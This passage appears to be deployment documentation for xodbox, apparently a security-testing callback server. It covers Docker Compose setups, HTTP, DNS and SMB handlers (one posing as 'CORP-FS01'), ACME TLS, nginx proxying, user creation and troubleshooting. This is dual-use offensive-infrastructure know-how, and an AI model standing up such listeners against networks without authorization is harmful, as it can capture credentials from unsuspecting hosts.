      test: ["CMD", "wget", "-q", "--spider", "http://localhost/api/health"]
      interval: 30s
      timeout: 5s
      retries: 3

Multi-handler (HTTP + DNS + SMB)

services:
  xodbox:
    image: ghcr.io/defektive/xodbox:latest
    command: serve
    user: "1000:1000"
    ports:
      - "80:80"
      - "53:53/udp"
      - "445:445"
      - "9091:9091"       # isolated admin console
    volumes:
      - ./data:/workspace
    restart: unless-stopped
    cap_add:
      - NET_BIND_SERVICE  # required for ports < 1024

With xodbox.yaml in ./data/:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 0.0.0.0:9091
    ui_allow_cidrs: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"

  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10

  - handler: SMB
    listener: :445
    target_name: CORP-FS01

notifiers:
  - notifier: app_log

With TLS (ACME DNS-01)

services:
  xodbox:
    image: ghcr.io/defektive/xodbox:latest
    command: serve
    user: "1000:1000"
    ports:
      - "80:80"
      - "443:443"
      - "53:53/udp"
    volumes:
      - ./data:/workspace
    environment:
      # For Route53 DNS-01 challenge
      - AWS_ACCESS_KEY_ID=AKIA...
      - AWS_SECRET_ACCESS_KEY=...
      - AWS_REGION=us-east-1
    cap_add:
      - NET_BIND_SERVICE
    restart: unless-stopped

Behind a reverse proxy

When running behind nginx, Caddy, or another reverse proxy:

  1. Forward X-Forwarded-Proto, X-Forwarded-For, and Host headers.
  2. If using the admin console, set public_url to the external URL so sink links point to the right host.
  3. If using OIDC, set oidc_redirect_url explicitly.

Example nginx upstream:

location / {
    proxy_pass http://127.0.0.1:8080;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
}

Bootstrapping users

Create the first admin user before or after starting the container:

# Before starting (if the DB doesn't exist yet)
docker run --rm -v "$PWD/data:/workspace" --user "$(id -u):$(id -g)" \
  ghcr.io/defektive/xodbox:latest user add alice --admin

# While running
docker exec xodbox /bin/xodbox user add alice --admin

Verifying image signatures

cosign verify \
  --certificate-identity-regexp="https://github.com/defektive/xodbox" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
  ghcr.io/defektive/xodbox:latest

Troubleshooting

Permission denied on /workspace: Pass --user "$(id -u):$(id -g)" to match the host volume’s ownership, or chown the data directory.

Port 53 bind fails: Add cap_add: [NET_BIND_SERVICE] in Compose or --cap-add NET_BIND_SERVICE in docker run. Alternatively, bind to a high port (e.g. :5353) and NAT from 53 externally.

“address already in use” on port 53: systemd-resolved or dnsmasq may hold port 53. On the host, disable or reconfigure them.

Database locked errors: Only one xodbox instance should access the SQLite database at a time. Do not mount the same volume into multiple containers.